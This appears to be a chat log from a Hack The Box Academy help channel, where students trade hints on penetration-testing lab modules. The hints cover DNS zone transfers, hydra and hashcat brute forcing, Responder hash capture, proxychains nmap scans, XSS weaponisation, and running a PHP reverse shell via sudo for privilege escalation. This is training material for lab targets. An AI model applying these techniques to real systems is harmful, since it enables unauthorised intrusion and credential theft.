I’m preparing for the CPTS exam, and I have a question about reporting. Suppose I encounter an FTP anonymous login, but there are no files present. Would this still be considered a finding? If so, would it be categorized as low or informational? When I use the CVSS 3.1 calculator, I get a score of 0.0, which would suggest it’s informational, but in the course, they mention it as low. What do you all think?

[fathom pendant]

You'll need to use best judgement

Because it depends what's accessible via login

[drifting narwhal]

Hi ! I'm having trouble figuring out DNS's in Footprinting - DNS Enumeration. I kinda understand zone transfering, and records, configurations. However, i'm lost when it comes to enumeration. Let's say dig's axfr returns 5 A records. One of them is also axfr-able. When automating this process with gobuster for example, it finds 3 out of 5 A records, and seemingly not the axfr-able one.
I've been reading the module up and down, and can't figure out the relationship of zones. Some seems unscannable, or unreachable. Do you have material that can help me have a grasp on this ?

[formal bough]

In this case it was only a flag and nothing that got me into the network or other userfull information

[acoustic owl]

https://www.cloudflare.com/learning/dns/glossary/dns-zone/

[drifting narwhal]

Thanks didn't see that one :))

[paper lava]

Hey everyone, I am on module/77/section/843, I ran nmap and found the target box is running an outdated version of Apache, found multiple vulnerabilities in Searchsploit, but how do you turn Searchsploit results into a Metasploit attack?

[fathom pendant]

In msfconsole search apache 2.4.41

[paper lava]

I tried that earlier 😕

is it case sensitive?

[fathom pendant]

Maybe?

Idk it also helps to give module and section name

Not the endpoint

Because I'm on mobile so copy/paste the endpoint is difficult

[paper lava]

Module "Getting Started" section "Public Exploits"

the instructions just tell you to go to msfconsole "search exploit eternalblue"

[fathom pendant]

Oh

Lmao

Visit the webpage

[drifting narwhal]

I've narrowed down my initial questions about DNS records and zones. dig axfr finds 5 A records, gobuster enumeration finds 3 (with curated wordlist). How can a DNS A record be invisible to gobuster ?

[paper lava]

There's a simple-backup directory but it's empty

[fathom pendant]

Use that as a narrow focus for your search

The plugin name is right there to search for

[paper lava]

ah found something on rapid7, thx

[acoustic owl]

Are all 5 names in the word list?

[true heart]

on nmap course it says -sn disables port scanning, y woud u wan do that

[fathom pendant]

If you're scanning for active hosts

[true heart]

so u can only do one or another? not both?

[fathom pendant]

You can do both

It just takes more time

[true heart]

oh true

[true heart]

does it also make u more traceable?

[fathom pendant]

Lmao if that's what you're worried about gtfo xD

Packets need to be sent and received for nmap to give results

[drifting narwhal]

Yes. Also the only two that gobuster finds are on the same subnets. The A records to find are on other subnets (based from dig axfr's)

[acoustic owl]

In the same subnet?

[drifting narwhal]

Can i disclose IPs of the module ?

[acoustic owl]

sure

[drifting narwhal]

Dig's axfr

app.inlanefreight.htb.  604800  IN      A       10.129.18.15
dev.inlanefreight.htb.  604800  IN      A       10.12.0.1
internal.inlanefreight.htb. 604800 IN   A       10.129.1.6
mail1.inlanefreight.htb. 604800 IN      A       10.129.18.201
ns.inlanefreight.htb.   604800  IN      A       127.0.0.1

Gobuster

Found: ns.inlanefreight.htb [127.0.0.1]
Found: app.inlanefreight.htb [10.129.18.15]
Found: mail1.inlanefreight.htb [10.129.18.201]

[civic tundra]

y

[grand loom]

just wanted to let you know that i was right about
Disable Guest Account -> Block Removable Media -> Disallow LM Hash (with this GPO potentially override settings)
and its not the otherway around meaning link order 1 is applied last and will override

https://youtu.be/nVglVO39oLk?si=q81Kjp3kQDcp01wL

[acoustic owl]

I don't know exactly what GoBuster does for a query, but the result is correct from my point of view

[drifting narwhal]

Seems like Gobuster can't find anything if I make it start fuzzing from this very invisible zone. Do you know some robust tool that can enumerate zones and query axfr and the same time iterating through "leaves" ? Thanks anyway for the help appreciate it :))

[acoustic owl]

If a zone transfer works, why do you want to use other tools? If the zone transfer works, you will get all the data

[fathom pendant]

There's also specific tools for dns bruteforcing

[drifting narwhal]

Manual enumeration works fine for zone transfers but I think I need automation to scan for subzones/subdomains to find a specific host. I was asking this because from my point of view gobuster cannot find a particular zone

[drifting narwhal]

i'll have a look and test them all haha :))

[fathom pendant]

You'll get introduced to them in the modules

[true heart]

who can help me in nmap

[acoustic owl]

Remember that zones can and should be configured so that only certain servers are allowed to transfer zones

[true heart]

so i did ssh root@ <ip> on nmap and it asked me to continue

i typed yes and now its tripping

[drifting narwhal]

i'll hold on to this thanks

[viral lotus]

is there a network issue today? I have been running through the skills assessments on attacking common services, nmap scans have been taking longer than usual and on the attacking smtp I had to restart the box to get the telnet to connect? on the hard lab my nmap is currently at about 40 minutes

[median gale]

Attacking Common Applications - SA 2 - Last question Find the flag.

Got the rev shell as www-data but have trouble pirv esc any tips ?

Tried all the exploits suggested from local_exploit_suggester, nothing worked.

sudo -l give me no passwd for php but after launching bash i still am www-data

Any tips??

[viral lotus]

I think I went a different way to you, there are multiple ways from what I can see in the forums are you asking about the medium one or hard just to clarify?

[median gale]

Medium one

[viral lotus]

ignore me, I am on different module my bad I am on attacking common services. sorry., but maybe try gtfobins? if you havent already

[fathom pendant]

#boxes for non-academy boxes

[cedar void]

Hi Ive been following the steps outlined in this module section (https://academy.hackthebox.com/module/67/section/603) and I cant understand why I continue to get this access denied error:

The question: " Leverage membership in the DnsAdmins group to escalate privileges. Submit the contents of the flag located at c:\Users\Administrator\Desktop\DnsAdmins\flag.txt"

[median gale]

@fathom pendant care giving a hand?

[undone flicker]

Hi I’m new to cybersecurity and I have no sort of idea where to even start what would be the best way for me to start with no previous knowledge

[visual umbra]

Have you joined the Academy if not do it and do the modules in the beginning path.. it is good to have some basics in Networking, Linux, Windows command-line / terminal ) some knowlage about scripting with bash and pthon is good for ya 2

[undone flicker]

do i need to know all that before doing the moduels]

[urban elk]

are you up for a DM on the Easy lab for the same module? I just got the flag one way and I'm curious what I'm missing for the other way

[fathom pendant]

You have the sudo -l telling you what you can run with sudo

[median gale]

Nah it wasnt that

Just the right find command

Cause who would have that that you should not serch for flag rather "*flag.txt"

Where the f is that file now...

[urban elk]

or anyone for that matter - if you've completed the Easy lab of Attacking Common Services, I would appreciate a nudge about the alternative way of getting the same flag

[tardy estuary]

Hi guys

Im currntly going throuh this module https://academy.hackthebox.com/module/176/section/1778
I'm suposed to use this command hashcat -m 13100 -a 0 spn.txt passwords.txt --outfile="cracked.txt"
Where do I get the **password.txt **file from ?

[burnt spruce]

hi guys, i have a target and task

 After performing a zone transfer for the domain inlanefreight.htb on the target system, how many DNS records are retrieved from the target system's name server? Provide your answer as an integer, e.g, 123.

but when i try to findout it via nslookup or dig, i just dont get answer
f.e.

dig axfr 10.129.7.13

; <<>> DiG 9.18.28-0ubuntu0.22.04.1-Ubuntu <<>> axfr 10.129.7.13
;; global options: +cmd
; Transfer failed.

[wispy aspen]

Since you're working with DNS, you want to provide what domain/subdomain you're digging

So try dig axfr domain @ip

[visual umbra]

You don't need to know everything, but it's good to have some knowledge before you start.. But there are modules that cover some basic language in windows and linux, but you still need to be able to navigate and be familiar with some basic syntax there as well .. But sign up at the academy and just get started 🙂

[autumn pilot]

it was mentioned in one of the sections

[burnt spruce]

but whats ip? 1.1.1.1?

[wispy aspen]

You want the IP of the name server you're digging into

.htb is not a global top level domain

You won't find it on 1.1.1.1

[visual umbra]

it is cloudflare dns

[viral lotus]

sure although I think the easy one there may just be one way

[burnt spruce]

nah im struggling

[visual umbra]

1.1.1.1 is dns to cloudflare, like 1.0.0.1/ and 1.1.1.2/3

[viral lotus]

is there a resources folder attached to the module?

some modules have them some you have to find them in the machines themselves

[tardy estuary]

No, I can't see any. But I just used one of the wordlist from /usr/share/wordlists

[viral lotus]

unfortunately I don't have that module on my pathway so I can't help

[lofty whale]

in the attacking common services rdp section and not getting any hits with user list and pass list included. anyone have any recommendations? do i need to mutate the pws.list or maybe rockyou.txt?

[viral lotus]

have you rdp'd with the creds they already give you?

[teal sparrow]

inlanefreight.com add it to the /etc/hosts file

with the ip of the lab ofc

[lofty whale]

yes i have but was following down the examples so i learn the most that i can. it says to hydra or crowbar and they both come back with no results

[viral lotus]

I think they are just examples to show you how it would be in situations you don't have starting creds but have lists to work from you can try running hydra against word lists but you might be running down a rabbit hole

[lofty whale]

roger. just figured if they supplied a user.list and pass.list that maybe there was an easter egg or something if we went thru all of it

[viral lotus]

its the same for each sub module in the moidule so sometimes it is used sometimes it isn't... I could be wrong so might be worth a try but I didn't have to when I went through it earlier

[lofty whale]

ive been trying so dont waste your time as well lmao

[viral lotus]

no dramas mate

[true heart]

guys

is the point of nmap to analyze networks or attack them?

[tardy estuary]

👍

[gilded wyvern]

Guys i have aquestion about the module "Getting started" in the section "Nibbles-Initial Foothold". I use Metasploit, im setting everything that is necessary and i get this message "this exlpoit may require manula cleanup of 'image.php' on the target". Does anyone know what's happening?

[winter schooner]

if you can run php as sudo, just make a reverse shell php script, set up a nc listener and run the php reverse shell as sudo

for example

sudo /usr/bin/php /tmp/reverse-shell.php

[winter schooner]

Its mainly to see what ports are open, and you can sometimes run some scripts using nmap buts that's just for more enumeration. so its basically for analyzing.

[static plume]

Need help on skills assesment of login brute forcing. I need to brute force the basic http-auth but the wordlists provided in the assesment when combined are takes 38 hours which is impractical. The problem I don't the username and in the section which teaches the basic auth brute force uses assumed username 'basic-auth-user' which doesn't seem to work here. Any ideas how to go forward? Also the default-credentials list doesn't work here from seclists , used 'ftp-betterpass.txt'

[winter schooner]

Its nothing super important, but in an actual penetration test or when attacking an active machine, you need to erase your tracks, and the image.php is what had the payload so you could get a reverse shell.

[winter schooner]

Just run the brute-forcing for 30 minutes, generally they don't make you run through the whole word-list, and the correct creds are not that far in, but I don't know the answer myself.

[static plume]

This has happed because they updated the module. My friend has done this through default credentials.

[cyan blade]

Before you try to bruteforce something make sure that you identify the service that you're trying to bruteforce and then go from there. The module mentions how to identify a service right?

[static plume]

service is basic-http-auth , when I paste IP in the browser it gives me the username-password dialog box

[cyan blade]

In the skill assessment they gave you two wordlists, have you used them?

[visual umbra]

Now agin.. Im at the beginning in the SQLi with slqmap and the first question is: What's the fastest SQLi type? i Type the answare and it says it is wrong, im sure im not wrong.. i tried to type it l||ike E-B and even E-b and e-b and it say it is wrong so i did try with e E B and E b / e b || some times i go crazy how sensitive it is for spelling and case sensitive.. Just saying... not asking for anny help

[static plume]

That is the problem when I use those wordlist , they will take approx 38 hrs to finish according the hydra status. So , i tried to bruteforce only password but I don't know the username , I tried some guesses 'basic-auth-user' which is used in the section of the module and other variations such as user, admin

Anyone here who solved the updated module.

[gilded wyvern]

thank you 3>

❤️

[static plume]

Anyway solved the problem.Tip: We have to use the wordlists given the section.

[fathom pendant]

this just in: floor is made out of floor

[true heart]

i see

thanks bro

[true heart]

but how do i continue from there to create an attack?

and how do i make it so people wont be able to scan the ports on my networks

[fathom pendant]

you'd have to set up firewall rules

[true heart]

how do i learn doing so?

[fathom pendant]

but that's irrelevent to this channel

[true heart]

there isnt a module on htb for that?

[fathom pendant]

read and follow #welcome and visit #homelab-sysadm

[true heart]

visit no access fr

[fathom pendant]

first half of the statement you goofball

[true heart]

oh sorry 🥶

[fathom pendant]

following #welcome instructions about linking your HTB account allows you to access the "no-access" channel

[true heart]

alr thanks

[dire jungle]

Hello, i am stuck in Introduction to Digital foransics in Memory Forensics
Examine the file "/home/htb-student/MemoryDumps/Win7-2515534d.vmem" with Volatility. Enter the Pid of the process that loaded zlib1.dll as your answer.

do i really need to pslist all PIDs and test them out one by one ? i tried to grep on the dll using dllists and other options but none of them returns a value that can be used to know the PID of the process that loaded the dll

[muted jacinth]

Hey guys anyone can give hints aboout the enumeration of the mssql, exchange and sccm attacks module? I can't figure out what password is the one you're supposed to find, I tried every possible combination with what they tell us in the enumeration but nothing stands out

[west canopy]

You're better off just doing a bash or powershell ping sweep directly from the pivot host, than trying to use proxychains + nmap to scan the internal network

[kindred prism]

Hey, looking for help - Module: Linux Privilege Escalation - Environment Enumeration. The flag submitted appears to be wrong but it is the only flag found on the system "HTB{S....d}" to show that I have the start and end of the flag. Any assistance?

[fathom pendant]

there's a handful of different flags on the targets

some of the boxes are reused in that module

[kindred prism]

Okay, thanks....so keep looking 🙂

[fathom pendant]

the methods in the section should lead you to the answer

[median gale]

Tried it but for some strange reason it didnt work, nvm there was no need for priv esc thanks tho for replying

[west canopy]

Your first approach|| using dlllist is correct. Just be sure when you grep for zlib1.dll , you have it include enough lines before and after (so you can see which process actually loaded it)||

[brazen plover]

Good evening guys, how are you? Could someone help me with a question about xss filter bypasses, ADVANCED XSS AND CSRF EXPLORATION?

[lusty thicket]

good evening, can you ask your question?

[brazen plover]

It would only be in the exfiltration part, I already found the payload that bypasses the filter

[lusty thicket]

awesome!

[brazen plover]

Can i dm u?

[lusty thicket]

no

because i havent done that module

[brazen plover]

Ah, okay

[safe star]

bro is no help 🤣

[brazen plover]

🥲

[lusty thicket]

[brazen plover]

Can someone?

[brazen plover]

Bro is just curious 😆

If someone can give at least a tip on how to exfiltrate the data, it helps a lot 😊

[west canopy]

feel free to DM

[hot rapids]

I seem to be having an issue with the Attack Enterprise Networks spawn/target - DMZ01 comes up for about 1 minute then becomes unresponsive, is anyone else having an issue?

[fathom pendant]

i didn't have issues when i ran through it; reach out to support if changing vpn regions and respawning doesn't work

(green bubble on the website)

[hot rapids]

Cheers, I did yesterday but then it seemed to come right, will reach out again

[cedar void]

How did you guys like the "Windows Privilege Escalation " module?

[west canopy]

have you checked to confirm that your user was actually added to the domain admins group?

[cedar void]

Yes I did. I actually found out my issue was that I needed to logoff and restart my computer. My issue was then fixed

[worldly jackal]

Thank for the reply, in the end I did that indeed. I was just curious to understand why I got such results. Could not figure it out sadly.

[west canopy]

the pivot host would need to have net.ipv4.ip_forward enabled i believe

which is why even if we just try to do proxychains ping , we never get any ping response back

if we try and ping a host on the internal LAN

[worldly jackal]

I did not check it, but I am confused. I added verbose and packet trace to the request to see what is going on. When scanning one boxe at the time they respond, but if i scan a range then none of them do.

[west canopy]

well also, when use proxychains nmap, we typically have to use -sT for a full connect

[worldly jackal]

Oh I see, i should look for it next time. In this case i was going through a vpn so I could get pings back to be fair

[west canopy]

so if I had to use proxychains nmap to enumerate an internal lan, i would probably just to something like proxychains nmap -Pn -sT --top-ports 20 172.16.8.0/24 -v

that way we are actually scanning individual ports

but it will do it for every host in the subnet

Also on Pwnbox, I have noticed we have to use sudo when using proxychains nmap

[worldly jackal]

I am using Ligolo, but I will give it a try tomorrow for sure. Thank you for the suggestion

[dense quiver]

Hello Guys, I started CPTS course 2 months ago, I'm now at Attacking Common Services , DNS part and I'm truly stuck for 5 days. I read the forum but what seems to work with others didn't work with me, so i kindly request the help of someone who passed this .
Thanks in Advance

[acoustic owl]

What exactly is not working?

[true heart]

who pinged

[safe star]

idk

[loud dagger]

i accidentally got it into my head ages ago that meterpreter is pronounced /'mitərˌpritər/ and now i can't read it any other way

[lusty thicket]

its pronounced meterpreter

[loud dagger]

i agree

[rustic sage]

Guys I'm in ad module - llmnr/nbt-ns poisoning from Linux.

How long is responder supposed to take?

It's been running for abt an hour

[safe star]

are you running it from the ssh machine?

[rustic sage]

Yes

[safe star]

probably selected the wrong interface

[rustic sage]

Mmmmmm

How do I know which to select

[safe star]

use "ip a" and select the one that has 172.x.x.x

[rustic sage]

Why not the one with 10.x.x.x?

[safe star]

the AD network is on 172

[rustic sage]

Are all ad networks on 172?

Like is there a way I should have known to use 172?

[safe star]

No, but in the path they usually have AD on a separate network

[rustic sage]

Yea I got all the hashes

Thank you

So which one of the 90 trillion hashes do I crack

[safe star]

the ones they ask for

[rustic sage]

They are asking for the use that starts with letter b but I'm literally getting hundreds of hashes from all users

Like they always change and the terminal keeps getting spammed with hashes , I tried cracking a few with hashcat and john but it says no hashes loaded for all of them

[ivory sphinx]

hi

does this server teach how to hack

[rustic sage]

And also it says fingerprint failed academy-ea-web0.local

Over and over again

[safe star]

the section shows you where the responder logs are saved

[ivory sphinx]

can i hack on a phone

[fathom pendant]

#rules and #welcome

[ivory sphinx]

thanks

so i can hack on a phone

can i hack to unban my account?

on playstation

[fathom pendant]

no

1. That's illegal
2. That's illegal
3. ||that's illegal||

[rustic sage]

So it creates files even if it didn't finish running? I didn't touch it since you told me to change network

And also I'm not finding any in the directories from the module

[lusty thicket]

yes

[lean kestrel]

Password attack lab easy

[safe star]

i found them

[rustic sage]

Pwnbox?

And is responder still running?

[safe star]

responder never finishes

[rustic sage]

Oh

[safe star]

yes on the ssh machine

[rustic sage]

I literally can't count the number of all different hashes

Like 3/4 users are all in 2 files and they are all thrown together, fr there are hunders of them and are all different

[safe star]

use grep

[rustic sage]

Yes but the problem is not finding one hash it's that idk which one I should crack

[safe star]

its gonna look different every time

[rustic sage]

Bc I tried with a few before shutting responder down and it says the hash isnt recognized

[rustic sage]

Oh okay lemme try again

[safe star]

did you copy the whole thing?

[rustic sage]

First I copied the whole thing and tried with hashcat and john then I copied and pasted the commands and showed it to chatgpt and he made the hashes shorter but same thing

[safe star]

did you start from the username all the way to the very end with zeros

[rustic sage]

Ye

[safe star]

dm me the hash

[rustic sage]

Wait I'm on mobile

Lemme try again

Oh maybe it's working

@safe star Thank you module finished💪

[somber ginkgo]

Hello guys

Is it allowed to talk about exam cheating here ?

[analog dock]

What?

[somber ginkgo]

This is a hacking group isn’t it, i need help with something related to lockdown browser but first I don’t wanna breach any rules so is it okey to talk about?

[analog dock]

You want to cheat on an exam?

[somber ginkgo]

Yea

[heavy perch]

Bruh

[analog dock]

What kind of dumb fucking question is this

[somber ginkgo]

😂

[analog dock]

Go study

[heavy perch]

^

[somber ginkgo]

You guys must fun at parties lads

[safe star]

😭

[analog dock]

Yes

[somber ginkgo]

So u dont understand sarcasm also?

[safe star]

W honesty

[somber ginkgo]

W me?

Thanks🥹

[winged swan]

On the Active Directory Enumeration & Attacks exercise/labs, it says to SSH into the target, which I have done. When we run the commands, are we supposed to use the target (the machine I'm logged into) as the domain controller, or am I missing something obvious?

[tardy tiger]

AD_ENUM Academy module is broken?

^C┌─[htb-student@ea-attack01]─[~/Downloads]
└──╼ $python3 /opt/PKINITtools/gettgtpkinit.py -pfx-base64 $(cat DC01_Cert) -dc-ip 172.16.5.5 inlanefreight.local/ACADEMY-EA-DC01$ dc01.ccache
2024-11-19 20:23:17,378 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-11-19 20:23:17,480 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
Traceback (most recent call last):
File "/opt/PKINITtools/gettgtpkinit.py", line 349, in <module>
main()
File "/opt/PKINITtools/gettgtpkinit.py", line 345, in main
amain(args)
File "/opt/PKINITtools/gettgtpkinit.py", line 315, in amain
res = sock.sendrecv(req)
File "/usr/local/lib/python3.9/dist-packages/minikerberos-0.2.20-py3.9.egg/minikerberos/network/clientsocket.py", line 87, in sendrecv
minikerberos.protocol.errors.KerberosError: Error Name: KDC_ERR_PADATA_TYPE_NOSUPP Detail: "KDC has no support for PADATA type (pre-authentication data)"

It looks like KDC does not supprot to authenticate with certificate.

[safe star]

wym? the ssh target has another network interface to attack the AD domain

[winged swan]

That's good to know, but I still don't know what the DC is for INLANEFREIGHT.LOCAL. Is it static throughout the exercises? Are we already supposed to have this information documented somewhere?

[safe star]

yeah its static, you can check the /etc/hosts file

[cloud urchin]

better to say what module/section and question you're on. you just posted some random error with PKINIT which i don't see when searching the ad enum and attack module.

[winged swan]

Nothing in there that looks like a DC:
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 debian12-parrot

::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 localhost
127.0.1.1 htb-2x1ratdvaf htb-2x1ratdvaf.htb-cloud.com

[safe star]

is that the ssh machine?

[cloud urchin]

Not possible to tell if you don't include the section. There are multiple different environments in that module. Generally you can easily guess the dc by just pinging dc01, dc02, dc03, etc

[winged swan]

Dang, you're right. That wasn't the right machine. I went to eat dinner and got disconnected. I think the DC IP in the /etc/hosts file solves my issue.

[winged swan]

Thank you for your help.

[gray yacht]

There is a section after Attacking FTP about latest vulnerabilities I believe. Give that a look.

[silver trench]

Anyone willing to teach a newb. I want to start earning but I need some help with where to start

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[vocal swallow]

Hi, if anyone can help witht the debugging section of the malware anaylsis part. Inetsim is working, i have made all the changes yet i still get the sandbox message, even after being patched into a new exe.

would appricate any guidence

have looked at the forums but there isnt much help there....

extremely confused as to what to do atp, tried a lot of fixes but none of them seem to work? Just wondering if its the module atp as a lot of people have had a similar problem but no one outlines a fix.

[kindred prism]

I have searched and even wrote a python script to search all txt files for the possibly other flags and found nothing. I did so as root. Still nothing more than one flag under the root folder which is not the correct answer. Any other hints?

[safe star]

How did you end up as root?

use a find command and look for HTB

[sand rose]

Hello guys. I"m currently working on the subverting query logic section of the SQL injection module on the CPTS path. I'm getting successful logins under the username "admin", but am having trouble getting one under "tom" (for the question). Even when using tom as the username and using "hat' OR '1'='1"

As the password without the quotes, it keeps saying I have a successful login under the "admin" username. Any tips for me?

So I jumped forward to the next section, and was able to use a comment injection to get it... However the previous section didn't cover comment injections, so I'm still curious how this section was intending for me to use a SQL injection.

[tardy tiger]

It is Bleeding Edge Vulnerabilities and PetiPotam section.

I searched this kind of errors in this forum. Many people have been faced with this error. It might look like Cert error or AD setting error.

[cloud urchin]

I would recommend sticking to the commands provided in the section instead of going crazy with a python script etc. Find a way to escalate your privs then search and investigate hidden files with your elevated privs. You can do this all without root.

[kindred prism]

Okay, I got root, but I will review the list of commands provided in the section again.

[cloud urchin]

are you sure you're connected to the right box? i don't think root is the intended path, although you should be able to get the flag if you have root as well.

[kindred prism]

100%, I have used use the click copy for the IP address, and ssh'd into the box as htb-student

[simple barn]

Hello everyone I was trying to make payment for CPTS exam but payment keeps being rejected and the support I’m getting is not so good. HTB accepts only credit card payment ? No PayPal or debt card choice?

[vocal swallow]

hi guys. just a quick query. what im looking at in the module and what im looking at in the vm are showing two different things?

why is this when i have replicated the steps the same

[cloud urchin]

depends on the module, but not all of them are simply copy/paste follow along. it teaches you the concepts, then you must apply the concepts in a challenge to find the flag.

[vocal swallow]

i understand that, the module asks us to simply recreate the steps and yet it doesnt work?

this is for the debugging section in intro to malware anaylsis btw

"Reproduce all the debugging procedures mentioned in this section and provide the hidden shellcode-related hex values from the final screenshot as your answer. Remove all spaces."

[cloud urchin]

well i haven't done that module so i can't help much

[cloud urchin]

reach out to support on the website, no one here can help with that

[cloud urchin]

i didn't get that error when i did it, but it's been a while something could have broke. are you sure you got the right data for the cert?

[kindred prism]

Thanks you SuperNuts, your response to simply go back use the commands in the section worked, I got the flag.

[loud dagger]

i cannot pronounce it properly in my head

[vocal swallow]

has anyone here actually done the malware anyalsis module...

[safe star]

just interpreter but meterpreter

[tardy tiger]

yes for sure. because I got this base64 encoded cert from relay. and error message is AD does not support smart card logon.
It is not the cert problem. I think this machine is broken now.

and I am for sure. windows macine also does not work with rubeus as well.

[cloud urchin]

I just tried the module and got the same error you got

i don't see anything in my notes about this, could be the box is broken right now or i'm just forgetting something

you may want to post in #1234357888114364508

[tardy tiger]

got it. thanks

[loud dagger]

i know that's how it's pronounced

that's why i said "i accidentally got it into my head ages ago that meterpreter is pronounced /'mitərˌpritər/ and now i can't read it any other way"

[safe star]

but interpreter

[loud dagger]

but meter preter

[pseudo kiln]

https://academy.hackthebox.com/module/103/section/973

XSS module, reflectes XSS section. They mention that in order to weaponize reflected XSS, if the vulnerable parameter is part of a get request you can simply make the request then copy it from firefox network tab. But they do not show you how to weaponize it when the paramterer vulnerable to XSS is not part of a GET request. In this case copying the link does not help, as the request is part of the body. Anyone knows how to weaponize it in this case ? Or is this something they cover in the advanced XSS modue ?

[cloud urchin]

You can use other verbs with things like curl or web proxy

[pseudo kiln]

yeah, but in that case what you copy as curl and coerce the user into running the curl command ?

[cloud urchin]

the link you want to use..

[pseudo kiln]

but the parameter is not part of the link when it's a post request....

[cloud urchin]

the browser sends the verb with the link

why would their browser post or something though

usually browsers do get requests, there are others that get the page too

but its not going to send a post request without it uploading or something

[pseudo kiln]

I am not sure I follow you here, for me when the request is post, the browser does not include the parameter

[cloud urchin]

maybe i'm not understanding if you're asking how to weaponize it or send the payload to the victim, but i thought you asked how to weaponize it. it's the same as the get request

[pseudo kiln]

how is it the same as the get request as parameter is no longer part of the URL ?

[cloud urchin]

i don't know what you're asking. for this section specifically, you can see they're having you paste the link into your browser and visit it

so you can make the same request, aka weaponize it, using different verbs other than "get" with curl or something like burpsuite/zap

[pseudo kiln]

That;s the entire point they only ever show you how to weaponize vulnerable GET parameters

[cloud urchin]

if you're just visiting the page in firefox it's not going to perform a HEAD verb or something automatically

the weaponization of the exploit happens from you not the target browser, the browser is just the vehicle for you to send the target to your payload

[dark hedge]

if it's a POST request it's not gonna be in the URL so not much you can do there

you could do CSRF but that's not XSS

[pseudo kiln]

Much appreciated, thanks for the info 🙂

[native crow]

hey guys, having trouble with this question ,* Find the user for the RDP service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.* in the Network Services section in the Password attacks module, I used hydra -L username.list -P password.list rdp://10.129.56.244 , however unlike the other techniques taught I get no prompt as to which password works, has anyone else had this issue

[cloud urchin]

I didn't have that issue

[native crow]

did you use any extra filters or anything? I've reset the box twice but [3389][rdp] account on 10.129.227.69 might be valid but account not active for remote desktop: login: john password: miguel, continuing attacking the account. is all I get for the whole wordlist

[cloud urchin]

no exact same as you

is the target still up? maybe reboot the vm or something or try pwnbox

[native crow]

I've tried pwnbox and rebooted the target like 4 times

[tepid holly]

Whitebox attacks - advanced exploitation
Can anybody tell me where the flag is? Literally cant find it lol, checked databases etc

[frigid cipher]

hi

[storm elk]

Ask your question and don't ask to ask 🙂

[frigid cipher]

I tried everything but it didn't work
I got answers 26, 87 but they are wrong answer

@storm elk

[storm elk]

Please, when asking a question, don't forget to mention the module and section you're stuck in (the names, not a link or just writing the numbers)

[frigid cipher]

@storm elk

[frigid cipher]

i found

thanks for help

[quick crane]

everyone can help me this module for wsus,why I follow the guid to do also is error:https://academy.hackthebox.com/module/263/section/3095

[idle summit]

Hello my name is Fred. I am new to the world of hacking. I need someone to hold my hands and help me since i am self learning. I am in Kenya Africa where resources are hard to acquire but i have been putting in the work and my efforts has led me here . Help me

[quick crane]

I am sure that I have done everything correctly, whether I am doing it myself or following the instructions in the chapter, but it always prompts "Access deny" at the last step

[storm elk]

Hello Fred. Welcome. I'd follow the getting started if I were you (link below) but nobody is going to hold your hand unfortunately.

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[storm elk]

Also - I recommend you to read the #rules and #welcome first

@idle summit - please - do not send dm's without permission. (see #rules )

[idle summit]

@storm elk sorry

[storm elk]

If you want to learn more - follow the fundamentals modules on Academy and see what you like. Follow a path

[loud dagger]

anyone else do password attacks and attacking common services at the same time just because password cracking takes so long?

[bright creek]

Has anyone given the eJPTv2 exam

[chilly echo]

Module: Shells & Payloads , Section: PHP Web Shells
Use what you learned from the module to gain a web shell. What is the file name of the gif in the /images/vendor directory on the target? (Format: xxxx.gif)
I followed the exact steps as mentioned in module , also tried with bulit in browser in burp , but when i try accessing the /images/vendor/test.php it gives a 404 error
What can i do?

I used the wwwolf php web shell as per the module

[chilly echo]

I used metasploit with linux/http/rconfig_vendors_auth_file_upload_rce module which was discussed before in the same module, that worked. But why is the intended method not working??

[swift lava]

someone who has Sightless root flag?

[storm elk]

#boxes

IF you don't have access, please, follow instructions in #welcome

[tight basin]

Can you access the modules that you've finished after your subscription has expired ?

[storm elk]

yes

[compact matrix]

cube icon not showing?

anywhere on the site

[silver inlet]

Hey guys ^^ i need help / someone to confirm something for me (Sorry for the huge textblob)

In the AEN Module at the Information Gathering stage after setting up Dynamic Port forwarding the module recommends to check the port forwarding with proxychains + nmap (it should return open ports, but it only returns filtered Ports)

I also tryd to the meterpreter Section of the Tunneling and Port forwarding module which also only returned filtered Ports.

So my Question is now: Is the proxychains package broken? or is it just normal to return only filtered ports due to some update. (it worked around 6 month prior to today)

Can someone try to check if it works for them.

What i already tried.

Resterting the Target
Reseting the Target
Restarting the VPN
Switchng the VPN
Switching to pwnbox
Switching pwnbox and vpn to multiple different Locations / Servers
1 for 1 copy the Provided answers from the HackTheBox team which comes with my subscrition.

netstat confirms that the port is forwardet correctly.
using proxychains to copy a file via SSH worked.

Yes it was a -sT nmap scan

[ashen pollen]

@feral charm

[urban elk]

has there been any word on upcoming content on ICS / OT ? The Alchemy pro lab makes me hopeful

[final shale]

The Practice Lab on the Documentation & Reporting module is a lot of work

[ashen pollen]

Anyone know how to resolve this

[harsh gorge]

Ah I see your problem

You’re trying to list the shares right?

[ashen pollen]

Yes

[harsh gorge]

What’s the domain you were given?

[harsh gorge]

smbclient -N -L \\10.129.99.41\ you’re gonna wanna do this command

Or to specify a user

Use -U

Don’t forget the slashes otherwise smbclient won’t know what you’re talking about

[ashen pollen]

do_connect: Connection to 10.129.99.41htb-student failed (Error NT_STATUS_UNSUCCESSFUL)

[harsh gorge]

I meant -U

[ashen pollen]

Can you copy paste the exact command i can't get it right 😆

[harsh gorge]

So the command should look like

smbclient -L //10.129.99.41 -U htb-student

[ashen pollen]

do_connect: Connection to 10.129.99.41 failed (Error NT_STATUS_IO_TIMEOUT)

Dont think it likes me

[storm elk]

@modest basalt please don't just post random CTF in channels.

[modest basalt]

sorry

[pine dune]

Hi guys

on the web requests module, for the last question on the crud api's I accidentally deleted the flag from the server/api

[harsh gorge]

https://forum.hackthebox.com/t/htb-academy-windows-fundamentals-module-nt-status-io-timeout-when-using-smbclient/243526/8

[pine dune]

First, try to update any city's name to be 'flag'. Then, delete any city. Once done, search for a city named 'flag' to get the flag.

I accidentally deleted the flag and now it doesn't give me the flag, what should I do? I can't reset the IP as well

the command I ran

ok nvm I was able to reset it ( for some reason the reset button is there but hidden)

[normal sand]

Bumping this issue.

[naive sage]

